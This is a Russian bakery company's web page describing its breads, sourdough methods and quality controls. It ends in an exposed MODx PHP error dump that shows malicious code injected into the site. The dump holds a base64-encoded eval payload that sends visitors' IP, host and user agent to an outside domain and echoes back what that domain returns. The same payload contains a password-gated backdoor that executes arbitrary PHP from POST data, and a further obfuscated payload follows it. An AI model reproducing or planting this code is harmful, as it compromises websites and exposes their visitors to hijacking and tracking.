Уфимский хлеб

Производство и продажа хлебобулочных изделий


АО «Уфимский хлеб» современное предприятие, ориентированное на выпуск широкого ассортимента высококачественного продукта. Весь хлеб и хлебобулочные изделия, производство которых налажено на нашем предприятии, можно условно разделить на 2 большие группы.
1. Традиционные сорта. Это в частности хлеб формовой первый и высший сорт, украинский новый, столовый, батоны в широком ассортименте, хлеба смешанной валки, заварные сорта хлеба и т.д.
2. Здоровое питание. В данной категории представлены сорта хлеба и хлебобулочных изделий, удовлетворяющие наиболее строгим требованиям диетологов. Многие виды продукции изготовлены с применением пшеничных отрубей, тыквенных и льняных семечек и т.д.
Во всех этих хлебобулочных изделиях применяется исключительно натуральное, экологическое сырье.
АО «Уфимский хлеб» - одно из старейших производителей хлеба и хлебобулочных изделий города Уфы и республики Башкортостан. Несколько поколений хлебопеков и молодые профессионалы, используя опыт десятилетий, выпекают самый вкусный, всеми нами любимый «Черниковский хлеб». Ассортимент продукции всегда разнообразен более 65 наименований.

Ежегодно ассортимент обновляется, разработано и в стадии внедрения более 30 наименований хлеба и хлебобулочных изделий, а качество выпускаемой продукции неизменно остается на самом высоком уровне.
Хлеб – живой продукт, живой организм. Сама природа заложила в него все для обеспечения жизнедеятельности человека: белки, углеводы, жиры, незаменимые аминокислоты, витамины и минеральные вещества, но главное то, что выпекая хлеб из муки, мастера-пекаря предприятия ОАО «Уфимский хлеб» благодаря высокому профессионализму, сохраняют этот продукт таким, каким его создала природа, без ароматизаторов, улучшителей и консервантов. Мы понимаем хлеб-ежедневный продукт для всех от мала до велика и наша ответственность перед покупателем, дело чести, вырабатывать хлеб из натуральных продуктов (мука хлебопекарная, хмелевые закваски, жидкая ржаная закваска) с натуральными ароматизаторами (ржаной ферментированый солод, тмин, кориандр, хмель...)
Наши фирменные хлеба - Черниковский, Дарницкий, Уныш, Украинский новый … вырабатываются по традиционным технологиям на ржаных заквасках, без применения прессованных дрожжей и различных консервантов. Специалисты пытаются сохранить старые традиционные технологии, давно забытые многими предприятиями. Как и много лет назад мы производим натуральное сбраживание теста чистыми культурами дрожжей и молочно - кислых бактерий, надежных хранителей непревзойденного вкуса и аромата ржаного и ржано-пшеничного хлеба.
В группе заварных ржано-пшеничных сортов хочется отметить заварные сорта - Рижский, Бородинский, Темле, Житно, Любительский и т.д. Эти сорта по оценке потребителей считаются элитными. Технология приготовления этих сортов хлеба старинная, в несколько стадий и требует особого мастерства. При приготовлении теста часть муки заваривается, обсахаривается и смешивается натуральными молочно-кислыми заквасками. Такие изделия долго сохраняют свежесть имеют изысканный вкус и аромат. К тому же в заварные сорта добавляют патоку, пряности, натуральный ржаной солод, которые обогащают хлеб витаминами группы В, С, Е, РР, незаменимыми аминокислотами и минеральными веществами, наличие которых обуславливает биологическую ценность хлеба.

Специалисты хлебозаводов ставят перед собой цель – не только накормить население, но и стремятся оздоровить и обогатить витаминами. АО “Уфимский хлеб” разработал оригинальные рецептуры по которым выпускаются хлеба: хлеб “Правильный» здоровье женщины, “Правильный» здоровье мужчины, “Правильный» здоровье ребенка, хлеб из цельнозерновой ржаной муки, “Батончик с отрубями» и “Богатырский” с отрубями, хлеб “Изобилие” (с орехом фундук, черносливом, курагой, и семенами подсолнечника), хлеб Диабетический новинка, хлеб из цельносмолотой ржаной муки и другие изделия.
Все изделия на предприятиях для сохранения свежести и с гигиенической точки зрения упаковывают в пленку и пакеты, поэтому долго сохраняет свои вкусовые качества и свежесть.
Понимая, что без систематизации управления выпуска безопасной и качественной продукции сейчас невозможно остаться конкурентно способными, специалисты АО «Уфимский хлеб» уделяют большое внимание выполнению процедур мониторинга производства, направленных на предотвращение опасностей. Этим требованиям в полной мере отвечает система ХАССП - (анализ рисков и критические контрольные точки), которая является основной моделью управления качеством на пищевых предприятиях развитых стран мира.

С годами расширяется ассортимент хлеба и хлебобулочных изделий, и сегодня наше предприятие готово предложить потребителям качественный, нечерствеющий выбор хлебобулочных изделий.

Колосья
Колосья
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert() [function.assert]: Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /home/u165804/hleb02.ru/www/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0.0034 s(4 Requests)
  PHP: 0.2975 s 
  Total: 0.3008 s